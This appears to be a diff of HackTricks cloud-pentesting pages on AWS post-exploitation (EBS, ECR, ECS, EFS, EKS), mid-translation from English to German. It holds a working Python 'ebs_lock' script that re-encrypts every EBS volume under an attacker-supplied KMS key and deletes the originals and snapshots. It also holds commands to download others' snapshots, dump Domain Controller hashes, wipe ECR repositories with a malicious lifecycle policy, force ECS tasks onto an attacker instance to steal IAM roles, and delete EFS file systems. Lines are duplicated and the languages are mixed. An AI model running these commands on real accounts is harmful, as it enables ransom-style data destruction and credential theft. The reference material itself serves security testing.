print(f"Deleted volume: {volume_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error detaching or deleting volume {volume_id}: {e}")
|
||||
|
||||
|
||||
def delete_snapshots(ec2_client, snapshot_ids):
|
||||
for snapshot_id in snapshot_ids:
|
||||
try:
|
||||
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
|
||||
print(f"Deleted snapshot: {snapshot_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error deleting snapshot {snapshot_id}: {e}")
|
||||
for snapshot_id in snapshot_ids:
|
||||
try:
|
||||
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
|
||||
print(f"Deleted snapshot: {snapshot_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error deleting snapshot {snapshot_id}: {e}")
|
||||
|
||||
def replace_volumes(ec2_client, instance_volumes):
|
||||
instance_ids = list(instance_volumes.keys())
|
||||
stop_instances(ec2_client, instance_ids)
|
||||
instance_ids = list(instance_volumes.keys())
|
||||
stop_instances(ec2_client, instance_ids)
|
||||
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
detach_and_delete_volumes(ec2_client, all_volumes)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
detach_and_delete_volumes(ec2_client, all_volumes)
|
||||
|
||||
def ebs_lock(access_key, secret_key, region, kms_key_arn):
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
|
||||
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
|
||||
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
|
||||
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
|
||||
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
|
||||
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
|
||||
|
||||
def parse_arguments():
|
||||
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
|
||||
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
|
||||
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
|
||||
parser.add_argument('--region', required=True, help='AWS Region')
|
||||
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
|
||||
return parser.parse_args()
|
||||
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
|
||||
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
|
||||
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
|
||||
parser.add_argument('--region', required=True, help='AWS Region')
|
||||
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
|
||||
return parser.parse_args()
|
||||
|
||||
def main():
|
||||
args = parse_arguments()
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
|
||||
args = parse_arguments()
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
|
||||
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
|
||||
replace_volumes(ec2_client, instance_volumes)
|
||||
delete_snapshots(ec2_client, snapshot_ids)
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
|
||||
replace_volumes(ec2_client, instance_volumes)
|
||||
delete_snapshots(ec2_client, snapshot_ids)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
main()
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Checking a snapshot locally
|
||||
|
||||
## Überprüfen eines Snapshots lokal
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install 'dsnap[cli]'
|
||||
@@ -32,10 +31,8 @@ cd dsnap
|
||||
make docker/build
|
||||
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that:
|
||||
|
||||
> **Hinweis** dass `dsnap` es Ihnen nicht erlaubt, öffentliche Snapshots herunterzuladen. Um dies zu umgehen, können Sie eine Kopie des Snapshots in Ihrem persönlichen Konto erstellen und diesen herunterladen:
|
||||
```bash
|
||||
# Copy the snapshot
|
||||
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
|
||||
@@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da
|
||||
# Delete the snapshot after downloading
|
||||
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
|
||||
```
|
||||
Für weitere Informationen zu dieser Technik siehe die ursprüngliche Forschung unter [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
|
||||
|
||||
For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
|
||||
|
||||
You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
|
||||
|
||||
## Checking a snapshot in AWS
|
||||
Du kannst dies mit Pacu unter Verwendung des Moduls [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) tun.
|
||||
|
||||
## Überprüfen eines Snapshots in AWS
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
**Mounten Sie es in einer EC2-VM unter Ihrer Kontrolle** (es muss sich in derselben Region wie die Kopie des Backups befinden):
|
||||
|
||||
**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup):
|
||||
Schritt 1: Ein neues Volume Ihrer bevorzugten Größe und Art ist zu erstellen, indem Sie zu EC2 –> Volumes gehen.
|
||||
|
||||
Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes.
|
||||
Um diese Aktion auszuführen, folgen Sie diesen Befehlen:
|
||||
|
||||
To be able to perform this action, follow these commands:
|
||||
- Erstellen Sie ein EBS-Volume, um es an die EC2-Instanz anzuhängen.
|
||||
- Stellen Sie sicher, dass das EBS-Volume und die Instanz in derselben Zone sind.
|
||||
|
||||
- Create an EBS volume to attach to the EC2 instance.
|
||||
- Ensure that the EBS volume and the instance are in the same zone.
|
||||
Schritt 2: Die Option "Volume anhängen" ist auszuwählen, indem Sie mit der rechten Maustaste auf das erstellte Volume klicken.
|
||||
|
||||
Step 2: The "attach volume" option is to be selected by right-clicking on the created volume.
|
||||
Schritt 3: Die Instanz aus dem Textfeld der Instanz ist auszuwählen.
|
||||
|
||||
Step 3: The instance from the instance text box is to be selected.
|
||||
Um diese Aktion auszuführen, verwenden Sie den folgenden Befehl:
|
||||
|
||||
To be able to perform this action, use the following command:
|
||||
- Hängen Sie das EBS-Volume an.
|
||||
|
||||
- Attach the EBS volume.
|
||||
Schritt 4: Melden Sie sich bei der EC2-Instanz an und listen Sie die verfügbaren Festplatten mit dem Befehl `lsblk` auf.
|
||||
|
||||
Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`.
|
||||
Schritt 5: Überprüfen Sie, ob das Volume Daten enthält, indem Sie den Befehl `sudo file -s /dev/xvdf` verwenden.
|
||||
|
||||
Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`.
|
||||
Wenn die Ausgabe des obigen Befehls zeigt "/dev/xvdf: data", bedeutet dies, dass das Volume leer ist.
|
||||
|
||||
If the output of the above command shows "/dev/xvdf: data", it means the volume is empty.
|
||||
Schritt 6: Formatieren Sie das Volume mit dem ext4-Dateisystem, indem Sie den Befehl `sudo mkfs -t ext4 /dev/xvdf` verwenden. Alternativ können Sie auch das xfs-Format verwenden, indem Sie den Befehl `sudo mkfs -t xfs /dev/xvdf` verwenden. Bitte beachten Sie, dass Sie entweder ext4 oder xfs verwenden sollten.
|
||||
|
||||
Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs.
|
||||
Schritt 7: Erstellen Sie ein Verzeichnis Ihrer Wahl, um das neue ext4-Volume zu mounten. Zum Beispiel können Sie den Namen "newvolume" verwenden.
|
||||
|
||||
Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume".
|
||||
Um diese Aktion auszuführen, verwenden Sie den Befehl `sudo mkdir /newvolume`.
|
||||
|
||||
To be able to perform this action, use the command `sudo mkdir /newvolume`.
|
||||
Schritt 8: Mounten Sie das Volume im Verzeichnis "newvolume" mit dem Befehl `sudo mount /dev/xvdf /newvolume/`.
|
||||
|
||||
Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`.
|
||||
Schritt 9: Wechseln Sie in das Verzeichnis "newvolume" und überprüfen Sie den Speicherplatz, um die Volume-Montage zu validieren.
|
||||
|
||||
Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount.
|
||||
Um diese Aktion auszuführen, verwenden Sie die folgenden Befehle:
|
||||
|
||||
To be able to perform this action, use the following commands:
|
||||
- Wechseln Sie in das Verzeichnis `/newvolume`.
|
||||
- Überprüfen Sie den Speicherplatz mit dem Befehl `df -h .`. Die Ausgabe dieses Befehls sollte den freien Speicherplatz im Verzeichnis "newvolume" anzeigen.
|
||||
|
||||
- Change directory to `/newvolume`.
|
||||
- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory.
|
||||
|
||||
You can do this with Pacu using the module `ebs__explore_snapshots`.
|
||||
|
||||
## Checking a snapshot in AWS (using cli)
|
||||
Sie können dies mit Pacu unter Verwendung des Moduls `ebs__explore_snapshots` tun.
|
||||
|
||||
## Überprüfen eines Snapshots in AWS (unter Verwendung von cli)
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
|
||||
|
||||
@@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt
|
||||
|
||||
ls /mnt
|
||||
```
|
||||
|
||||
## Shadow Copy
|
||||
|
||||
Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
|
||||
Jeder AWS-Benutzer, der über die Berechtigung **`EC2:CreateSnapshot`** verfügt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine von ihm kontrollierte Instanz anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
|
||||
|
||||
You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
|
||||
Sie können dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden.
|
||||
|
||||
## References
|
||||
|
||||
- [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,16 +4,12 @@
|
||||
|
||||
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
|
||||
|
||||
Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
|
||||
Passive Netzwerkinspektion in einer Cloud-Umgebung war **herausfordernd** und erforderte erhebliche Konfigurationsänderungen, um den Netzwerkverkehr zu überwachen. Eine neue Funktion namens “**VPC Traffic Mirroring**” wurde jedoch von AWS eingeführt, um diesen Prozess zu vereinfachen. Mit VPC Traffic Mirroring kann der Netzwerkverkehr innerhalb von VPCs **dupliziert** werden, ohne dass Software auf den Instanzen selbst installiert werden muss. Dieser duplizierte Verkehr kann an ein Netzwerk-Intrusion-Detection-System (IDS) zur **Analyse** gesendet werden.
|
||||
|
||||
To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
|
||||
Um den Bedarf an **automatisierter Bereitstellung** der notwendigen Infrastruktur für das Mirroring und die Exfiltration von VPC-Verkehr zu decken, haben wir ein Proof-of-Concept-Skript namens “**malmirror**” entwickelt. Dieses Skript kann mit **kompromittierten AWS-Anmeldeinformationen** verwendet werden, um das Mirroring für alle unterstützten EC2-Instanzen in einer Ziel-VPC einzurichten. Es ist wichtig zu beachten, dass VPC Traffic Mirroring nur von EC2-Instanzen unterstützt wird, die vom AWS Nitro-System betrieben werden, und das VPC-Mirror-Ziel muss sich innerhalb derselben VPC wie die gespiegelten Hosts befinden.
|
||||
|
||||
The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
|
||||
Die **Auswirkungen** des bösartigen VPC-Traffic-Mirroring können erheblich sein, da es Angreifern ermöglicht, auf **sensible Informationen** zuzugreifen, die innerhalb von VPCs übertragen werden. Die **Wahrscheinlichkeit** eines solchen bösartigen Mirroring ist hoch, da **Klartextverkehr** durch VPCs fließt. Viele Unternehmen verwenden Klartextprotokolle innerhalb ihrer internen Netzwerke aus **Leistungsgründen** und gehen davon aus, dass traditionelle Man-in-the-Middle-Angriffe nicht möglich sind.
|
||||
|
||||
For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
|
||||
Für weitere Informationen und Zugang zum [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) finden Sie es in unserem **GitHub-Repository**. Das Skript automatisiert und optimiert den Prozess, wodurch es **schnell, einfach und wiederholbar** für offensive Forschungszwecke wird.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,13 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check
|
||||
Für weitere Informationen siehe
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
|
||||
### Anmelden, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
@@ -38,17 +37,16 @@ docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
|
||||
After downloading the images you should **check them for sensitive info**:
|
||||
Nach dem Herunterladen der Bilder sollten Sie **sie auf sensible Informationen überprüfen**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
@@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
|
||||
|
||||
Ein Angreifer mit einer dieser Berechtigungen kann **eine Lebenszyklusrichtlinie erstellen oder ändern, um alle Bilder im Repository zu löschen** und dann **das gesamte ECR-Repository löschen**. Dies würde zum Verlust aller im Repository gespeicherten Containerbilder führen.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
@@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,45 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### Host IAM-Rollen
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die im Container ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle angehängt.\
|
||||
Das bedeutet, dass, wenn es dir gelingt, eine ECS-Instanz zu **kompromittieren**, du potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist,** **erhalten** kannst. Für weitere Informationen, wie du diese Anmeldeinformationen erhalten kannst, siehe:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> Beachte, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
### Privilegieneskalation zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn du also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** kannst, kannst du **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
#### Container auf dem aktuellen Host ausführen
|
||||
|
||||
Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, **zu aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container **stehlen** kann.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
|
||||
The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
|
||||
|
||||
Die gleiche Technik kann durch **das Abmelden der EC2-Instanz vom Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
|
||||
A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
|
||||
|
||||
Eine letzte Technik, um die erneute Ausführung von Aufgaben zu erzwingen, besteht darin, ECS anzuzeigen, dass der **Task oder Container gestoppt wurde**. Es gibt 3 potenzielle APIs, um dies zu tun:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
@@ -55,13 +50,8 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Sensible Informationen aus ECR-Containern stehlen
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
Die EC2-Instanz wird wahrscheinlich auch die Berechtigung `ecr:GetAuthorizationToken` haben, die es ihr ermöglicht, **Bilder herunterzuladen** (du könntest nach sensiblen Informationen darin suchen).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
@@ -12,47 +12,35 @@ For more information check:
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
|
||||
|
||||
Ein Angreifer könnte ein Mount-Ziel löschen, was potenziell den Zugriff auf das EFS-Dateisystem für Anwendungen und Benutzer, die auf dieses Mount-Ziel angewiesen sind, stören könnte.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
|
||||
**Potenzielle Auswirkungen**: Störung des Zugriffs auf das Dateisystem und potenzieller Datenverlust für Benutzer oder Anwendungen.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
|
||||
|
||||
Ein Angreifer könnte ein gesamtes EFS-Dateisystem löschen, was zu Datenverlust führen und Anwendungen beeinträchtigen könnte, die auf das Dateisystem angewiesen sind.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
|
||||
**Potenzielle Auswirkungen**: Datenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Dateisystem verwenden.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
|
||||
|
||||
Ein Angreifer könnte die Eigenschaften des EFS-Dateisystems aktualisieren, wie z.B. den Durchsatzmodus, um dessen Leistung zu beeinträchtigen oder Ressourcenerschöpfung zu verursachen.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Verschlechterung der Dateisystemleistung oder Ressourcenerschöpfung.
|
||||
|
||||
**Potential Impact**: Degradation of file system performance or resource exhaustion.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
|
||||
### `elasticfilesystem:CreateAccessPoint` und `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Ein Angreifer könnte Zugriffspunkte erstellen oder löschen, die Zugriffskontrolle ändern und sich möglicherweise unbefugten Zugriff auf das Dateisystem gewähren.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Dateisystem, Datenexposition oder -änderung.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,110 +4,101 @@
|
||||
|
||||
## EKS
|
||||
|
||||
For mor information check
|
||||
Für weitere Informationen siehe
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
### Enumerieren Sie den Cluster über die AWS-Konsole
|
||||
|
||||
